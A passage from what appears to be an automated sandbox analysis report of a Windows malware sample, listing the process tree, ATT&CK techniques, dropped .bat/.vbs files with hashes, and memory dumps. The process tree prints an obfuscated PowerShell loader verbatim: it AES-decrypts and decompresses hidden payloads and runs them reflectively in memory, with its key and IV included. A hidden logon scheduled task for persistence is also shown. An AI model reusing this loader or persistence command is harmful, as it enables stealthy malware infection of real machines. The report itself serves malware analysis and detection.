'C:\Users\Admin\AppData\Local\dllhost.bat';$host.UI.RawUI.WindowTitle = $gzWXE;$jVKyS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gzWXE).Split([Environment]::NewLine);foreach ($MYFti in $jVKyS) { if ($MYFti.StartsWith('mDQBKkDMpSmzSJjqvWce')) { $zEoKi=$MYFti.Substring(20); break; }}$payloads_var=[string[]]$zEoKi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3708
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4440

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\conhost.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtgTNLQD917Z3OfAalN5p6ncKCNzsah2L8s5ejdS+dc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jnVmcutmPup+V829XIUyUQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EAIzG=New-Object System.IO.MemoryStream(,$param_var); $allpB=New-Object System.IO.MemoryStream; $qQadD=New-Object System.IO.Compression.GZipStream($EAIzG, [IO.Compression.CompressionMode]::Decompress); $qQadD.CopyTo($allpB); $qQadD.Dispose(); $EAIzG.Dispose(); $allpB.Dispose(); $allpB.ToArray();}function execute_function($param_var,$param2_var){ $EsoDJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XgHWj=$EsoDJ.EntryPoint; $XgHWj.Invoke($null, $param2_var);}$MwOvg = 'C:\Users\Admin\AppData\Local\conhost.bat';$host.UI.RawUI.WindowTitle = $MwOvg;$kBJQu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($MwOvg).Split([Environment]::NewLine);foreach ($QatGk in $kBJQu) { if ($QatGk.StartsWith('vwDuqbmIlgDgjzMkEVvn')) { $STSYE=$QatGk.Substring(20); break; }}$payloads_var=[string[]]$STSYE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_575_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_575.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3948
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_575.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_575.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4184
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtgTNLQD917Z3OfAalN5p6ncKCNzsah2L8s5ejdS+dc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jnVmcutmPup+V829XIUyUQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EAIzG=New-Object System.IO.MemoryStream(,$param_var); $allpB=New-Object System.IO.MemoryStream; $qQadD=New-Object System.IO.Compression.GZipStream($EAIzG, [IO.Compression.CompressionMode]::Decompress); $qQadD.CopyTo($allpB); $qQadD.Dispose(); $EAIzG.Dispose(); $allpB.Dispose(); $allpB.ToArray();}function execute_function($param_var,$param2_var){ $EsoDJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XgHWj=$EsoDJ.EntryPoint; $XgHWj.Invoke($null, $param2_var);}$MwOvg = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_575.bat';$host.UI.RawUI.WindowTitle = $MwOvg;$kBJQu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($MwOvg).Split([Environment]::NewLine);foreach ($QatGk in $kBJQu) { if ($QatGk.StartsWith('vwDuqbmIlgDgjzMkEVvn')) { $STSYE=$QatGk.Substring(20); break; }}$payloads_var=[string[]]$STSYE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:3944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:4052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:4120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
bb252ef5bf088b6f74650fa4a412e1a7

SHA1
51e6808c4a88d1c3fb3e7b43c848fe15f453393b

SHA256
9bf4669207a33aec0ec970f303fc74bdfba5a4eb4df1246ccbac0092d0b30814

SHA512
07dceb79d9e6ccce1b0047c39d6c61ded18975b56c658654d613d15f8056f346cc0c0c7569c9ca37e35505b8b8a4bdaf1e1518cb8d2937487a65136de3c1a0ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
bb40a4a14fc3f23a50d9b14e3e00dc85

SHA1
7315547050633bcdb608a6183fe4d42eafe8e54f

SHA256
7ebefba774a5f29a066e74af9a7f72abbe4804148c30603632cb7fd96d7433b6

SHA512
ae417164bafc460cf37342802d4725531864142a63051ec995d8bdbb4deeb028c1b6f7415cf7fff0b76857559be8281fd5c4c13ceffeb6dd1caa415e080bb7a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
e4de99c1795fd54aa87da05fa39c199c

SHA1
dfaaac2de1490fae01104f0a6853a9d8fe39a9d7

SHA256
23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457

SHA512
796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
4cd025d2d039cf0c055215a78925811b

SHA1
767114f33e11170a0b85e385fb47995970d0573d

SHA256
b7b09274ed3fdd152a4ba166adef57b59888f5534a6d8d94cc46d5f6422077be

SHA512
110818675589534443000db5f70193be1f5025174f8534e3951a7487c20f751f554ef317ea1330b7d7889cef214523921b9dbe105616a27707912aeecd1d5f3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3yitoev.0do.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\conhost.bat

Filesize
274KB

MD5
e19333732c953dccd21bd997320a7a53

SHA1
93462b009375d7bb5434843b871dc439c9b8555d

SHA256
0556c1dcf0f0928084b9067e210e8b72c79dd02831b70a4f4e81c4e3298ff3d9

SHA512
cde6e8475e5433d51a9f2fb2db3cbf46e86089392344da43e194c3da90005597a56140cd580a2c6edfbcde9a95618c1233160d1ff79d049efcbdad62ee06bdf3

Download Submit
C:\Users\Admin\AppData\Local\dllhost.bat

Filesize
83KB

MD5
fc1bd57fa57b7b5c512746c7de3fa19a

SHA1
7f794e6459def2dcc346d562aacca372e7282270

SHA256
8977812b16f1e3d827cbce1675d9ad9e2f0370cf27cb3b23b389594739c3b837

SHA512
71a1908e1625c9ef28c5a85ca21dfdadcebfc4ae41b21ba2d11a92e1192a49a819adde6fb30fb9f2e8f4199a264c56e86f9d21a67704f7b25b8dbdd9c43b07d9

Download Submit
C:\Users\Admin\AppData\Local\svchost.bat

Filesize
304KB

MD5
74f5686e51d07dab9f43f62081f83003

SHA1
8d6b22e17db345f43ec3db13748c162d3cd1b229

SHA256
52974d82b405f9ebba25b6de26cbf2c59f4ec9e4d6c7059661f9f2f02e29d03e

SHA512
5865a681a5e9b3464351a4d9e5bf18dccf3ed43f288c388decfa8559e496c67a563acadd8b7563e4004fe320298b47842a5a672552f14a95772460f54f782384

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_575.vbs

Filesize
124B

MD5
9a4d0404e6452f459ff841d92d0f6259

SHA1
584e0bf18a61ecf22818925459d9496e7ddefbec

SHA256
376aabf36328c89471d93fd24aac7f96f7961b025f14c12ca4257dadb216074a

SHA512
ad4ac28893d21828aed612e577d3413160be752628c164f843549b781128c865e360bf3da7e3323a43edbccaf21765962139c47aec857c05669fecef600fdba8

Download Submit
C:\Users\Admin\AppData\Roaming\$svchost_650.vbs

Filesize
112B

MD5
3babb0ba8cfeac082553f5d3b1c10968

SHA1
0ae8c334c96156a79e8a9ab3d44519bf509fee1e

SHA256
37b5b8e041a7cdb20336c8514646d2039566e2929924ec371dd240cc5bdcbae4

SHA512
22d7058ba7c285d1c2299e0dfbc73c432e27e924b62a863410132ad8d814bd80f26acc161d6f17087533062ffe229b2736798496a0b691e0f99d12cbb2e5f8bb

Download Submit
memory/776-145-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/896-142-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/912-148-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/1128-146-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/1240-152-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/1328-156-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/1568-153-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/1576-143-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/1760-155-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/1964-144-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/2000-188-0x0000026248230000-0x000002624823E000-memory.dmp

Filesize
56KB

Download
memory/3460-94-0x0000000000C50000-0x0000000000C7A000-memory.dmp

Filesize
168KB

Download
memory/3460-141-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/3544-154-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/3560-203-0x000001FAA6190000-0x000001FAA6198000-memory.dmp

Filesize
32KB

Download
memory/3560-204-0x000001FAA61A0000-0x000001FAA61DC000-memory.dmp

Filesize
240KB

Download
memory/3644-27-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/3644-17-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/3644-14-0x000001D3F3AA0000-0x000001D3F3B16000-memory.dmp

Filesize
472KB

Download
memory/3644-10-0x000001D3F3220000-0x000001D3F3242000-memory.dmp

Filesize
136KB

Download
memory/3644-16-0x000001D3F3B20000-0x000001D3F3BF2000-memory.dmp

Filesize
840KB

Download
memory/3644-13-0x000001D3F39D0000-0x000001D3F3A14000-memory.dmp

Filesize
272KB

Download
memory/3644-15-0x000001D3F3620000-0x000001D3F3628000-memory.dmp

Filesize
32KB

Download
memory/3644-11-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/3644-0-0x00007FFD5BCF3000-0x00007FFD5BCF5000-memory.dmp

Filesize
8KB

Download
memory/3644-25-0x000001D3F33D0000-0x000001D3F35EC000-memory.dmp

Filesize
2.1MB

Download
memory/3644-18-0x000001D3F3BF0000-0x000001D3F3CC0000-memory.dmp

Filesize
832KB

Download
memory/3644-12-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/3848-151-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/4052-149-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/4072-147-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/4196-50-0x0000026255700000-0x0000026255708000-memory.dmp

Filesize
32KB

Download
memory/4196-51-0x0000026255710000-0x0000026255722000-memory.dmp

Filesize
72KB

Download
memory/4220-192-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/4220-189-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/4220-208-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/4220-28-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp

Filesize
10.8MB

Download
memory/4440-150-0x00007FFD39DF0000-0x00007FFD39E00000-memory.dmp

Filesize
64KB

Download
memory/4988-64-0x0000015FB5820000-0x0000015FB5856000-memory.dmp

Filesize
216KB

Download
memory/4988-63-0x0000015FB5630000-0x0000015FB5638000-memory.dmp

Filesize
32KB

Download